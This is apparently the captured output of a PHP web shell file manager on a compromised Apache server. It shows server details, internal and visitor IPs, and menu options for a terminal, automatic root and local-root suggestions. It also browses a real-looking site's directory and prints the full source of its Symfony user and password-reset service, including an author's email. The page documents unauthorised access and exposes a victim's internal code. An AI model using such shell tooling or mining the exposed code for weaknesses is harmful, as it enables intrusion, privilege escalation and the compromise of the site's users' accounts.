Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.217.117
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
v3.cesa.co.za /
src /
UserBundle /
Services /
Delete
Unzip
Name
Size
Permission
Date
Action
.htaccess
237
B
-r-xr-xr-x
2026-08-17 03:12
CCEStudentManager.php
5.32
KB
-rwxrwxr-x
2026-05-26 09:32
LoginEntryPoint.php
1.67
KB
-rwxrwxr-x
2026-05-18 12:51
OauthManager.php
3.65
KB
-rwxrwxr-x
2026-04-02 12:06
UserLevelManager.php
3.35
KB
-rwxrwxr-x
2026-04-02 12:06
UserListManager.php
74.86
KB
-rwxrwxr-x
2026-05-25 12:28
UserListOldManager.php
2.98
KB
-rwxrwxr-x
2026-05-18 12:51
php_errors.log
362
B
-rwxrwxr-x
2026-04-02 12:06
Save
Rename
<?php namespace App\UserBundle\Services; use Symfony\Component\DependencyInjection\ContainerInterface; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\PasswordHasher\Hasher\PasswordHasherFactory; use Symfony\Component\PasswordHasher\Hasher\UserPasswordHasher; use Symfony\Component\Routing\Generator\UrlGeneratorInterface; use Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface; use Symfony\Component\Security\Core\Authentication\Token\Storage\UsageTrackingTokenStorage; use Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken; use Symfony\Component\Security\Http\Event\InteractiveLoginEvent; use Monolog\Logger; use App\ContactBundle\Entity\ContactMethod; use App\ContactBundle\Entity\ContactReason; use App\ContactBundle\Entity\MessageType; use App\CoreBundle\Services\Openssl_EncryptDecrypt; use App\CoreBundle\Services\Utils; use App\SessionsBundle\Entity\Sites; use App\UserBundle\Entity\UserBankDetail; use App\UserBundle\Entity\UserList; use App\UserBundle\Entity\UserTelNo; use App\UserBundle\Entity\UserAddress; use App\UserBundle\Entity\UserEMailAddress; /** * User List manager * * @author Otto Saayman <otto@igotafrica.com> * @package UserBundle * @subpackage UserList * @version 0.0.1 */ final class UserListManager { /** * Service Container * @var object */ private $container = null; /** * Entity manager * @var object */ private $em; /** * Security Context * @var \Symfony\Component\Security\Core\SecurityContextInterface */ protected $securityContext; /** * Class construct * * @param ContainerInterface $container * @param Logger $logger * @return void */ public function __construct( ContainerInterface $container ) { $this->setContainer($container); $this->setEm($container->get('doctrine')->getManager('default')); return; } /** * Get Container * * @return ContainerInterface $container */ public function getContainer() { return $this->container; } /** * Set Container * * @param ContainerInterface $container * @return void */ public function setContainer($container) { $this->container = $container; } public function setSecurityContext(UsageTrackingTokenStorage $securityContext) { $this->securityContext = $securityContext; } /** * Get Entity Manager * * @return string */ public function getEm() { return $this->em; } /** * Set Container * * @param string $em * @return void */ public function setEm($em) { $this->em = $em; } /** * Get a User * * @return UserList */ public function find($id) { if (strlen($id) <= 0) { return null; } return $this->em->getRepository(UserList::class)->find($id); } /** * Get a User by parameters * * @param array $params * @return UserList */ public function findOneBy($params) { return $this->em->getRepository(UserList::class)->findOneBy($params); } /** * Get a User by parameters * * @param array $params * @return array */ public function findBy($params) { return $this->em->getRepository(UserList::class)->findBy($params); } /** * Get all Users * * @return array */ public function findAll() { return $this->em->getRepository(UserList::class)->findAll(); } /** * Save a User * * @params UserList $userList * @return UserList */ public function save(UserList &$userList) { $this->em->persist($userList); $this->em->flush(); return $userList; } /** * Remove a User List * * @param string $userListId * @param UserList $owner */ public function removeById($userListId, UserList $owner, Companies $company = null) { $userList = $this->find($userListId); if (!is_object($userList)) { return; } if ($this->canEdit($userList, $owner)) { $this->getEm()->remove($userList); $this->getEm()->flush(); } else { $this->getContainer()->get('user_contact.manager')->unLinkUser($userList, $owner, $company); } } /** * Get all Users by company * * @param string $companyId * @return array */ public function getAllQuery($params = array()) { if (!isset($params['referredByUser'])) { $params['referredByUser'] = null; } if (!isset($params['return_ids'])) { $params['return_ids'] = false; } if (!isset($params['userList'])) { $params['userList'] = null; } if (!isset($params['refer'])) { $params['refer'] = true; } if (!isset($params['contacts'])) { $params['contacts'] = false; } if (!is_object($params['referredByUser']) && !$params['return_ids'] && $params['refer']) { $params['userList'] = $this->getLoggedInUser(); } if (!is_object($params['referredByUser']) && is_object($params['userList']) && $params['userList']->getGranted('ROLE_SUPER_ADMINISTRATOR')) { $params['userList'] = null; } if (isset($params['userTypeId']) && strpos($params['userTypeId'], ',') > 0) { $params['userTypeIds'] = explode(',', $params['userTypeId']); } return $this->em->getRepository(UserList::class)->getListQuery($params); } /** * Get a User by access levels * * @param array $accessLevels * @return array */ public function findByAccessLevels($accessLevels, $conf = array()) { return $this->em->getRepository(UserList::class)->findByAccessLevels($accessLevels, $conf); } /** * Get all Users by search text and/ or company name * * @param string $eMailAddress * @return UserList */ public function findOneByEMailAddress($eMailAddress) { return $this->em->getRepository(UserList::class)->findOneByEMailAddress(array('e_mail_address' => $eMailAddress)); } /** * Get all Users by search text and/ or company name * * @param string $searchText * @param string $companyId * @return array */ public function findBySearchCompany($searchText, $companyId) { $userLists = $this->em->getRepository(UserList::class)->findBySearchCompany($searchText, $companyId); $return = array(); foreach ($userLists as $userList) { $return[] = array('id' => $userList->getId(), 'text' => $userList->getFullNameString() . ' (' . $userList->getUsername() . ')'); } return $return; } /** * Get all Users by search text and/ or company name * * @param string $searchText * @param string $companyId * @param array $conf * @return array */ public function findBySearchCompanyForSelect($searchText, $companyId, $conf = array()) { $userLists = $this->em->getRepository(UserList::class)->findBySearchCompany($searchText, $companyId, $conf); $return = array(); foreach ($userLists as $userList) { $userName = $userList->getUsername(); if (isset($conf['mobile']) && $conf['mobile']) { $userName = $userList->getUserTelNoMobileString(); } $return[$userList->getFullNameString() . ' (' . $userName . ')'] = $userList->getId(); } return $return; } /** * Move user to a company * * @param UserList $userList * @param string $companyId * @return void */ public function moveCompany(UserList $userList, $companyId, Companies $oldCompany = null) { $companyManager = $this->getContainer()->get('companies.manager'); $company = $companyManager->find($companyId); if (!is_object($company)) { return; } $companyManager->moveUser($company, $userList, $oldCompany); } /** * Move user to a company * * @param UserList $userList * @param string $companyIds * @return void */ public function linkCompanies(UserList $userList, $companyIds) { if (!is_array($companyIds)) { $companyIds = explode(',', $companyIds); } $companyManager = $this->getContainer()->get('companies.manager'); $companies = $userList->getCompanies(); $linkedCompanyIds = array(); foreach ($companies as $linkedCompany) { if (!in_array($linkedCompany->getId(), $companyIds)) { // echo 'unlinking ' . $linkedCompany->getName(); // exit; $companyManager->unlinkUser($linkedCompany, $userList); } else { $linkedCompanyIds[] = $linkedCompany->getId(); } } //foreach linked company foreach ($companyIds as $companyId) { if (!in_array($companyId, $linkedCompanyIds)) { $company = $companyManager->find($companyId); // echo 'linking ' . $company->getName(); // exit; if (is_object($company)) { $companyManager->linkUser($company, $userList); } } } } /** * Get all Users who receive admin notifications * * @return array */ public function findAdminNotificationRecipients() { return $this->em->getRepository(UserList::class) ->findAdminNotificationRecipients($this->getContainer()->get('system_setting.manager')->getSetting('admin_user_type')); } /** * Get a UserList object as an array * * @param string $userListId * @return array */ public function getUserListObjectArray($userListId) { $return = array('user_list' => array(), 'error_message' => ''); if (strlen($userListId) <= 0) { $userListId = '0'; } $userList = $this->find($userListId); if (!is_object($userList)) { $return['error_message'] = 'That user does not exist'; return $return; } $return['user_list'] = array( 'id' => $userList->getId(), 'first_name_string' => trim($userList->getFirstNameString()), 'last_name_string' => trim($userList->getLastNameString()), 'e_mail_address' => trim($userList->getEMailAddressString()), 'mobile_number' => trim($userList->getUserTelNoMobileString()), 'id_number' => trim($userList->getIdNUmber()), ); return $return; } /** * Get a UserList object as an array * * @param string $userListId * @return array */ public function getSelectArray($accessLevelId = '-', $params = array()) { $return = array(); foreach ($this->getAllQuery($params)->execute() as $user) { $return[$user->getFullNameString() . ' (' . $user->getUsername() . ')'] = $user->getId(); } return $return; } /** * Update password * * @param UserList $userList * @return void */ public function updatePassword(UserList $userList) { //Check and encrypt the password if (strlen($userList->getPassword()) <= 0 && strlen($userList->getPlainPassword()) <= 0) { $userList->setPlainPassword(microtime()); } if (strlen($userList->getPlainPassword()) > 0) { $passwordHasherFactory = new PasswordHasherFactory([ // auto hasher with default options for the User class (and children) User::class => ['algorithm' => 'auto'], // auto hasher with custom options for all PasswordAuthenticatedUserInterface instances PasswordAuthenticatedUserInterface::class => [ 'algorithm' => 'auto', 'cost' => 15, ], ]); $passwordHasher = new UserPasswordHasher($passwordHasherFactory); // hash the password (based on the password hasher factory config for the $user class) $hashedPassword = $passwordHasher->hashPassword( $userList, $userList->getPlainPassword() ); $userList->setPassword($hashedPassword); // $factory = $this->getContainer()->get('security.encoder_factory'); // $encoder = $factory->getEncoder($userList); // $userList->setSalt(microtime()); // $encodedPassword = $encoder->encodePassword($userList->getPlainPassword(), $userList->getSalt()); // // $userList->setPassword($encodedPassword); $this->checkRequestValues($userList); $this->save($userList); } } /** * Set user type to admin * * @param UserList $userList * @return void */ public function setAdminUserTypeId(UserList &$userList) { $userTypesManager = $this->getContainer()->get('user_types.manager'); $adminUserType = $userTypesManager->getAdminUserTypeId(); $userList->setUserTypes($adminUserType); } /** * Set user type to frontend * * @param UserList $userList * @return void */ public function setFrontendUserTypeId(UserList &$userList) { $userTypesManager = $this->getContainer()->get('user_types.manager'); $frontendUserType = $userTypesManager->getFrontendUserTypeId(); $userList->setUserTypes($frontendUserType); } /** * Get logged in user * * @return UserBundle:UserList */ public function getLoggedInUser($session = null) { $user = null; // echo $this->securityContext->getToken(); if (!is_object($this->securityContext)) { return null; } if (is_object($this->securityContext->getToken()) && is_object($this->securityContext->getToken()->getUser())) { // echo 'got user from context <br /> '; // exit; $user = $this->securityContext->getToken()->getUser(); } if (is_object($this->securityContext->getToken()) && !is_object($user)) { // echo 'got user from db by username <br /> '; // exit; $user = $this->findOneBy(array('username' => $this->securityContext->getToken()->getUser())); } if (!is_object($user) && !is_object($session)) { $session = $this->container->get('sessions.manager')->getSession(); } if ( !is_object($user) && is_object($session) && is_object($this->getContainer()->get('sessions.manager')->getSfSession()) && !$this->getContainer()->get('sessions.manager')->getSfSession()->get('logout') && $this->getContainer()->get('session_values.manager')->getValue(array('value_name' => 'logged_on_user_id', 'session' => $session)) != '-' ) { // echo $this->getContainer()->get('session_values.manager')->getValue(array('value_name' => 'logged_on_user_id', 'session' => $session)) // . ' - ' . $session->getId() . ' got user from session stored id <br /> '; // exit; $user = $this->find($this->getContainer()->get('session_values.manager')->getValue(array('value_name' => 'logged_on_user_id', 'session' => $session))); } // if (!is_object($this->securityContext->getToken()) && is_object($user) && is_object($this->container->get('sessions.manager')->getRequest())) { // echo 'Must do login!'; // exit; // $request = $this->container->get('sessions.manager')->getRequest(); // $this->doLogin($request, $user, true); // } // echo 'Logged in'; // echo $this->securityContext->getToken(); // exit; if (is_object($this->securityContext->getToken()) && !is_object($this->securityContext->getToken()->getUser()) && is_object($user)) { // echo 'Setting user '; // exit; $this->securityContext->getToken()->setUser($user); } if (is_object($user) && is_object($session)) { $this->getContainer()->get('session_values.manager')->setValue(array('value_name' => 'logged_on_user_id', 'value' => $user->getId(), 'session' => $session)); } // exit; return $user; } /** * Set E-Mail address * * @param UserList $userList * @param array $userEMailAddressValues * @return void */ public function setUserEMailAddress(UserList &$userList, $userEMailAddressValues) { $userEMailAddressManager = $this->getContainer()->get('user_e_mail_address.manager'); $userEMailAddress = $userList->getUserEMailAddress(); if (is_null($userEMailAddress)) { $userEMailAddress = new UserEMailAddress(); } $userEMailAddressManager->populateUserEMailAddressObject($userEMailAddress, $userEMailAddressValues); $userList->setUserEMailAddress($userEMailAddress); } /** * Set Mobile phone number * * @param UserList $userList * @param array $userTelNoMobileValues * @return void */ public function setUserTelNoMobileId(UserList &$userList, $userTelNoMobileValues) { $userTelNoManager = $this->getContainer()->get('user_tel_no.manager'); $userTelNoMobile = $userList->getUserTelNoMobile(); if (is_null($userTelNoMobile)) { $userTelNoMobile = new UserTelNo(); } $userTelNoManager->populateUserTelNoObject($userTelNoMobile, $userTelNoMobileValues); $userList->setUserTelNoMobile($userTelNoMobile); } /** * Set Work phone number * * @param UserList $userList * @param array $userTelNoWorkValues * @return void */ public function setUserTelNoWorkId(UserList $userList, $userTelNoWorkValues) { $userTelNoManager = $this->getContainer()->get('user_tel_no.manager'); $userTelNoWork = $userList->getUserTelNoWork(); if (is_null($userTelNoWork)) { $userTelNoWork = new UserTelNo(); } $userTelNoManager->populateUserTelNoObject($userTelNoWork, $userTelNoWorkValues); $userList->setUserTelNoWork($userTelNoWork); } /** * Set Home phone number * * @param UserList $userList * @param array $userTelNoHomeValues * @return void */ public function setUserTelNoHomeId(UserList $userList, $userTelNoHomeValues) { $userTelNoManager = $this->getContainer()->get('user_tel_no.manager'); $userTelNoHome = $userList->getUserTelNoHome(); if (is_null($userTelNoHome)) { $userTelNoHome = new UserTelNo(); } $userTelNoManager->populateUserTelNoObject($userTelNoHome, $userTelNoHomeValues); $userList->setUserTelNoHome($userTelNoHome); } /** * Set Fax phone number * * @param UserList $userList * @param array $userTelNoFaxValues * @return void */ public function setUserTelNoFaxId(UserList $userList, $userTelNoFaxValues) { $userTelNoManager = $this->getContainer()->get('user_tel_no.manager'); $userTelNoFax = $userList->getUserTelNoFax(); if (is_null($userTelNoFax)) { $userTelNoFax = new UserTelNo(); } $userTelNoManager->populateUserTelNoObject($userTelNoFax, $userTelNoFaxValues); $userList->setUserTelNoFax($userTelNoFax); } /** * Set Physical Address * * @param UserList $userList * @param array $userAddressPhysicalValues * @return void */ public function setUserAddressPhysicalId(UserList $userList, $userAddressPhysicalValues) { $userAddressManager = $this->getContainer()->get('user_address.manager'); $userAddressPhysical = $userList->getUserAddressPhysical(); if (is_null($userAddressPhysical)) { $userAddressPhysical = new UserAddress(); } $userAddressManager->populateUserAddressObject($userAddressPhysical, $userAddressPhysicalValues); $userList->setUserAddressPhysical($userAddressPhysical); } /** * Set Postal Address * * @param UserList $userList * @param array $userAddressPostalValues * @return void */ public function setUserAddressPostalId(UserList $userList, $userAddressPostalValues) { $userAddressManager = $this->getContainer()->get('user_address.manager'); $userAddressPostal = $userList->getUserAddressPostal(); if (is_null($userAddressPostal)) { $userAddressPostal = new UserAddress(); } $userAddressManager->populateUserAddressObject($userAddressPostal, $userAddressPostalValues); $userList->setUserAddressPostal($userAddressPostal); } /** * Save user list from request form values array * * @param array $requestValues * @param UserList $userList * @return string */ public function saveFromRequest($requestValues, UserList &$userList = null, UserList $owner = null, $create = true) { $return = ''; $isNew = false; if (isset($requestValues['mobile_number'])) { $requestValues['user_tel_no_mobile'] = array('countries' => '', 'area_code' => '', 'extension' => '', 'tel_fax_number' => $requestValues['mobile_number']); } if (!isset($requestValues['user_type_id'])) { $requestValues['user_type_id'] = $requestValues['user_types']; } if (!isset($requestValues['id'])) { $requestValues['id'] = ''; } if (isset($requestValues['first_name_string']) && isset($requestValues['last_name_string']) && strlen($requestValues['first_name_string']) > 0 && strlen($requestValues['last_name_string']) > 0 && $requestValues['first_name_string'] == $requestValues['last_name_string']) { return 'First and last name can not be the same'; } // var_dump(array_keys($requestValues)); // exit; if (isset($requestValues['e_mail_address_string']) && (!isset($requestValues['username']) || strlen($requestValues['username']) <= 0)) { $requestValues['username'] = $requestValues['e_mail_address_string']; } if ((!isset($requestValues['set_username_as_e_mail']) || $requestValues['set_username_as_e_mail']) && (!isset($requestValues['e_mail_address_string']) || strlen($requestValues['e_mail_address_string']) <= 0)) { $requestValues['e_mail_address_string'] = $requestValues['username']; } // if ($this->getContainer()->get('banned_word.manager')->checkText($requestValues['e_mail_address_string']) || $this->getContainer()->get('banned_word.manager')->checkText($requestValues['username'])) { // return 'Your profile contains text that is not allowed on this site'; // } $testUserName = $this->getEm()->getRepository(UserList::class)->checkOtherUserExists($requestValues['id'], $requestValues['username']); $userListTest = $this->findOneBy(array('username' => $requestValues['username'])); $eMailAddress = ''; if (isset($requestValues['e_mail_address_string'])) { $eMailAddress = $requestValues['e_mail_address_string']; } if (strlen($eMailAddress) <= 0) { $eMailAddress = microtime() . '-cesa@igotafrica.com.co.za'; } if (!is_object($userListTest)) { $userListTest = $this->findOneByEMailAddress($eMailAddress); } $foundByIDNumber = false; if (is_object($userListTest) && isset($requestValues['id_number']) && strlen($requestValues['id_number']) > 0 && $userListTest->getIdNumber() != $requestValues['id_number']) { $userListTest = $this->findOneBy(array('id_number' => $requestValues['id_number'])); $userList = $userListTest; $requestValues['username'] = $requestValues['id_number']; $foundByIDNumber = true; } if (!$create && is_object($userListTest)) { return; } if ($testUserName && is_object($owner) && is_object($userListTest)) { //Link as a contact $this->getContainer()->get('user_contact.manager')->linkUser($owner, $userListTest); $userList = $userListTest; return 'That user was linked as a contact'; } elseif ($testUserName && !is_object($owner) && is_object($userListTest) && $userListTest->getCreatedBy() != $owner->getId()) { $userList = $userListTest; return 'That user name or e-mail address is already in use'; } if ($testUserName && is_object($owner) && is_object($userListTest) && $userListTest->getCreatedBy() == $owner->getId()) { $userList = $userListTest; } if ((strlen($requestValues['id']) > 0) || ($requestValues['id'] > 0)) { $userList = $this->find($requestValues['id']); } $userListTestEMail = $this->findOneByEMailAddress($eMailAddress); if (!$create && !$foundByIDNumber && is_object($userListTestEMail)) { return; } if ((!$foundByIDNumber && is_object($userListTestEMail) && is_object($userList) && $userListTestEMail->getId() != $userList->getId()) || (!$foundByIDNumber && is_object($userListTestEMail) && !is_object($userList))) { $userList = $userListTestEMail; return 'That e-mail address is already in use by ' . $userListTestEMail->getUsername(); } if (!is_object($userList)) { $userList = new UserList(); $isNew = true; } $userList->setUsername($requestValues['username']); $requestValues['update_password'] = true; if (!isset($requestValues['password'])) { $requestValues['password'] = array('password' => ''); } if (!is_array($requestValues['password'])) { $requestValues['password'] = array('password' => $requestValues['password']); } if (!isset($requestValues['ignore_empty_pwd'])) { $requestValues['ignore_empty_pwd'] = false; } if ((isset($requestValues['password']['password'])) && (strlen($requestValues['password']['password']) > 0)) { $userList->setPlainPassword($requestValues['password']['password']); } elseif (!$requestValues['ignore_empty_pwd']) { $userList->setPlainPassword(microtime()); } if (!isset($requestValues['is_active'])) { $requestValues['is_active'] = true; } if (!isset($requestValues['is_super_admin'])) { $requestValues['is_super_admin'] = false; } if (!isset($requestValues['deleted'])) { $requestValues['deleted'] = false; } if (!isset($requestValues['e_mail_address_subscribed'])) { $requestValues['e_mail_address_subscribed'] = false; } $userList->setIsActive($requestValues['is_active']); $userList->setDeleted($requestValues['deleted']); if ($userList->getGranted('ROLE_SUPER_ADMINISTRATOR')) { $userList->setIsSuperAdmin(true); } else { $userList->setIsSuperAdmin($requestValues['is_super_admin']); } if (isset($requestValues['e_mail_address_string'])) { $userList->setEMailAddressString($requestValues['e_mail_address_string']); } if (isset($requestValues['user_tel_no_mobile'])) { $userList->setMobileNumber($requestValues['user_tel_no_mobile']); } if (isset($requestValues['first_name_string'])) { $userList->setFirstNameString($requestValues['first_name_string']); } if (isset($requestValues['last_name_string'])) { $userList->setLastNameString($requestValues['last_name_string']); } if (isset($requestValues['id_number'])) { $userList->setIdNumber($requestValues['id_number']); } if (isset($requestValues['short_code'])) { $userList->setReferredBy($requestValues['short_code']); } if (is_object($owner) && (strlen($userList->getCreatedBy()) <= 0 || $userList->getCreatedBy() == '-')) { $userList->setCreatedBy($owner->getId()); } if ($requestValues['update_password']) { $this->updatePassword($userList); } $this->checkRequestValues($userList); $this->save($userList); $this->getEm()->refresh($userList); if (isset($requestValues['bank_id']) && strlen($requestValues['bank_id']) > 0) { $bankDetail = $userList->getUserBankDetail(); if (!is_object($bankDetail)) { $bankDetail = new UserBankDetail(); } $bank = $this->getContainer()->get('banks.manager')->find($requestValues['bank_id']); if (is_object($bank)) { $bankDetail->setBank($bank); $bankDetail->setAccountName($requestValues['account_name']); $bankDetail->setAccountNumber($requestValues['account_number']); $bankDetail->setUserList($userList); $this->getContainer()->get('user_bank_detail.manager')->save($bankDetail); $userList->setUserBankDetail($bankDetail); $this->save($userList); $this->getEm()->refresh($userList); } else { return 'User created, but invalid bank details'; } } if ($this->getContainer()->get('system_setting.manager')->getSetting('user_register_verify_e_mail', 0) > 0 && $isNew) { $userList->setIsActive(false); $this->save($userList); // $this->sendAccountVerifyMail($userList); } elseif ($isNew) { // $this->sendWelcomeMail($userList); } $userRoleOnRegister = json_decode($this->getContainer()->get('system_setting.manager')->getSetting('user_register_roles', '[]', true), true); if (is_array($userRoleOnRegister) && count($userRoleOnRegister) > 0) { $this->linkAccessLevel($userList, $userRoleOnRegister); } // $userFieldUserManager = $this->getContainer()->get('user_field_user.manager'); // $fields = $this->getContainer()->get('user_field.manager')->getSiteListQuery(array('user_list' => $this->getLoggedInUser()))->execute(); // foreach ($fields as $field) { // $valueIndex = strtolower(Utils::getIdString($field->getFieldName())); // if (isset($requestValues['user_field_' . $valueIndex]) && strlen($requestValues['user_field_' . $valueIndex]) > 0) { // $userFieldUserManager->saveOne($field, $userList, $requestValues['user_field_' . $valueIndex]); // } // } return $return; } /** * Check for default values in the values array * * @param array $requestValues * @return array */ public function checkRequestValues(UserList &$userList) { if (is_null($userList->getFirstNameString())) { $userList->setFirstNameString(''); } if (is_null($userList->getLastNameString())) { $userList->setLastNameString(''); } if (is_null($userList->isIsSuperAdmin())) { $userList->setIsSuperAdmin(false); } if (is_null($userList->isIsActive())) { $userList->setIsActive(false); } if (is_null($userList->isDeleted())) { $userList->setDeleted(false); } if (is_null($userList->getAlgorithm())) { $userList->setAlgorithm('sha1'); } if (is_null($userList->getSalt())) { $userList->setSalt(uniqid()); } if (is_null($userList->isEMailAddressSubscribed())) { $userList->setEMailAddressSubscribed(true); } return $userList; } /** * Send a reset password link * * @param string $email * @return array */ public function sendResetLink($email) { $return = array('success' => false, 'message' => ''); $settingManager = $this->getContainer()->get('system_setting.manager'); $messageManager = $this->getContainer()->get('contact_message.manager'); $recipient = $this->em->getRepository(UserList::class)->findOneByEMailAddress( array( 'e_mail_address' => $email, // 'user_type_id' => array( // $settingManager->getSetting('crm_user_type'), // $settingManager->getSetting('fe_user_type'), // ) ) ); if (!is_object($recipient)) { $return['message'] = 'That email address does not exist. Please try again.'; return $return; } if ($recipient->getCreatedAt()->getTimestamp() >= (time() - (60 * 60 * 24))) { $return['message'] = 'Too soon to reset your password. Please try again later.'; return $return; } $sender = $this->em->getRepository(UserList::class)->findOneByEMailAddress( array( 'e_mail_address' => $messageManager->getSystemEMail(), 'user_type_id' => array( $settingManager->getSetting('admin_user_type'), $settingManager->getSetting('crm_user_type'), $settingManager->getSetting('fe_user_type'), ) ) ); if (!is_object($sender)) { $userValues['user_type_id'] = $settingManager->getSetting('crm_user_type'); $userValues['username'] = $messageManager->getSystemEMail(); $userValues['password'] = microtime(); $userValues['first_name_string'] = $settingManager->getSetting('contact_from_name'); $userValues['e_mail_address'] = $messageManager->getSystemEMail(); $error = $this->saveFromRequest($userValues); if (strlen($error) > 0) { $return['message'] = $error; return $return; } $sender = $this->em->getRepository(UserList::class)->findOneByEMailAddress(array('e_mail_address' => $messageManager->getSystemEMail())); if (!is_object($sender)) { $return['message'] = 'Unable to generate sender. Please try again.'; return $return; } } $messageType = $this->em->getRepository(MessageType::class)->find($settingManager->getSetting('contact_message_type_sys_notif')); $contactMethod = $this->em->getRepository(ContactMethod::class)->find($settingManager->getSetting('contact_method_e_mail')); $contactReason = $this->em->getRepository(ContactReason::class)->find($settingManager->getSetting('contact_reason_reset_password')); $twig = $this->getContainer()->get('service_getter.manager')->getTwig(); $router = $this->getContainer()->get('router'); // $resetPasswordToken = Utils::encryptString('time=' . time() . '&user_list_id=' . $recipient->getId()); // $resetPasswordUrl = 'http://' . $_SERVER['HTTP_HOST'] . $router->generate( // 'iga_user_reset_pw', array('token' => $resetPasswordToken) // ); $resetPasswordUrl = 'http://' . $_SERVER['HTTP_HOST'] . $router->generate('iga_user_reset_pw'); $resetCode = random_int(135630, 987342); $this->getContainer()->get('temp_value.manager')->setTempValue('reset_pwd_' . $resetCode, 'time=' . time() . '&user_list_id=' . $recipient->getId()); $subject = 'Reset password request'; $messageHtml = '<p>Dear ' . $recipient->getFullNameString() . '</p>' . '<p><a href="' . $resetPasswordUrl . '"><font color="#e51521">Click here to reset your password.</font></a></p>' . '<p>Enter this code to confirm your password reset: ' . $resetCode . '</p>' . '<p>If you did not initiate this password reset procedure, please report this event to us immediately.</p>'; $messageText = 'Dear ' . $recipient->getFullNameString() . '' . "\r\n\r\n" . 'Follow this link to reset your password: ' . $resetPasswordUrl . "\r\n\r\n" . 'Enter this code to confirm your password reset: ' . $resetCode . "\r\n\r\n" . 'If you did not initiate this password reset procedure, please report this event to us immediately.' . "\r\n\r\n"; //Send Contact us form data $messageHTML = $twig->render( '@ContactBundle/Email/notification.html.twig', array( 'sender' => $sender, 'contactFromName' => $sender->getFullNameString(), 'contactFromEMail' => $sender->getEMailAddressString(), 'messageText' => $messageHtml, 'hostName' => $_SERVER["HTTP_HOST"], 'sitePath' => 'http://' . $_SERVER['HTTP_HOST'] ) ); $messageText = $twig->render( '@ContactBundle/Email/notification.txt.twig', array( 'sender' => $sender, 'contactFromName' => $sender->getFullNameString(), 'contactFromEMail' => $sender->getEMailAddressString(), 'messageText' => $messageText, 'hostName' => $_SERVER["HTTP_HOST"], 'sitePath' => 'http://' . $_SERVER['HTTP_HOST'] ) ); $messageValues = array( 'subject' => $subject, 'messageHTML' => $messageHTML, 'messageText' => $messageText, 'contactMethod' => $contactMethod, 'contactReason' => $contactReason, 'messageType' => $messageType, ); $msg = $messageManager->saveMessage($sender, array($recipient), $messageValues); // echo $msg; // exit; $return['success'] = true; return $return; } /** * Check a reset password token * * @param string $token * @return UserList */ public function getTokenValues($token) { // $OpensslEncryption = new Openssl_EncryptDecrypt(); // $valueString = $OpensslEncryption->decrypt($token); // $valueString = Utils::decryptString($token); // var_dump($valueString); // exit; $valuesCheck = explode('&', $token); $values = array(); foreach ($valuesCheck as $valueCheck) { $oneValue = explode('=', $valueCheck); $values[$oneValue[0]] = $oneValue[1]; } if ($values['time'] + (60 * 60 * 24) <= time()) { //token has expired $values['user_list'] = null; return $values; } $values['user_list'] = $this->find($values['user_list_id']); if (!isset($values['allow'])) { $values['allow'] = 0; } return $values; } /** * Check a reset password token * * @param string $token * @return UserList */ public function checkToken($token) { $values = $this->getTokenValues($token); return $values['user_list']; } /** * Check a reset password token * * @param string $token * @return UserList */ public function checkResetCode($resetCode) { $token = $this->getContainer()->get('temp_value.manager')->getTempValue('reset_pwd_' . $resetCode); $values = $this->getTokenValues($token); return $values['user_list']; } /** * Get array of users * * @param Sites $site * @param integer $limit * @return array */ public function getArray(Sites $site, $limit = 0) { return $this->em->getRepository(UserList::class)->getArray($site, $limit); } /** * Check for a user by e-mail address and return it or create it * * @param array $requestValues * @return array */ public function findOrCreate($emailAddress, $firstName, $lastName, UserList $referredBy = null) { $userList = $this->findOneBy(array('username' => $emailAddress)); if (!is_object($userList)) { $userList = $this->findOneByEMailAddress($emailAddress); } if (!is_object($userList)) { $userList = new UserList(); $userList->setPassword(microtime()); if (is_object($referredBy)) { $userList->setReferredBy($referredBy->getId()); } } $userList->setUsername($emailAddress); $userList->setFirstNameString($firstName); $userList->setLastNameString($lastName); $this->setUserEMailAddress($userList, array('e_mail_address' => $emailAddress)); $this->checkRequestValues($userList); $this->save($userList); return $userList; } /** * Log a user in automatically * * @param UserList $userList * @return void */ public function doLogin(Request &$request, UserList &$userList, $forceLogin = false) { if (!$forceLogin) { if (!in_array($userList->getUserTypes()->getId(), array( $this->getContainer()->get('user_types.manager')->getFrontendUserTypeId()->getId(), $this->getContainer()->get('user_types.manager')->getAdminUserTypeId()->getId(), ))) { $userList->setUserTypes($this->getContainer()->get('user_types.manager')->getFrontendUserType()); } if ($userList->getIsActive()) { throw new \Exception('You are already registered on the site. Please log in.'); } $userList->setIsActive(true); $userList->setDeleted(false); $this->save($userList); } $token = new UsernamePasswordToken($userList, 'secured_area', $userList->getRoles()); $this->securityContext->setToken($token); $this->getContainer()->get('session')->set('_security_secured_area', serialize($token)); $event = new InteractiveLoginEvent($request, $token); $this->getContainer()->get("event_dispatcher")->dispatch($event, "security.interactive_login"); // $testUser = $this->getLoggedInUser(); // echo $testUser->getUsername() . ' - ' . $testUser->getId() . '<br />'; // var_dump($testUser->getRoles()); // exit; } /** * Import users from a spreadsheet * * @param array $conf * @return void */ public function importUsers($conf = array()) { $this->getEm()->getConnection()->getConfiguration()->setSQLLogger(null); try { if (!isset($conf['fieldsToColumns']) || !isset($conf['fileId']) || !isset($conf['ownerId']) || !isset($conf['companyId']) || !isset($conf['userTypeId'])) { throw new \Exception('Not all parameters specified: ' . json_encode($conf)); } $file = $this->getContainer()->get('files.manager')->find($conf['fileId']); if (!is_object($file)) { throw new \Exception('Invalid file: ' . $conf['fileId']); } $owner = $this->find($conf['ownerId']); if (!is_object($owner)) { throw new \Exception('Invalid owner: ' . $conf['ownerId']); } $company = $this->getContainer()->get('companies.manager')->find($conf['companyId']); if (!is_object($company)) { // throw new \Exception('Invalid company: ' . $conf['companyId']); } $userType = $this->getContainer()->get('user_types.manager')->find($conf['userTypeId']); if (!is_object($userType)) { throw new \Exception('Invalid user type: ' . $conf['userTypeId']); } $fields = $this->getContainer()->get('user_field.manager')->getSiteListQuery(array('user_list' => $this->getLoggedInUser()))->execute(); $userFieldUserManager = $this->getContainer()->get('user_field_user.manager'); $filePath = "/tmp/"; $fileContent = $file->getFileDataString(); $this->getContainer()->get('files.manager')->saveFromStringToPath($fileContent, 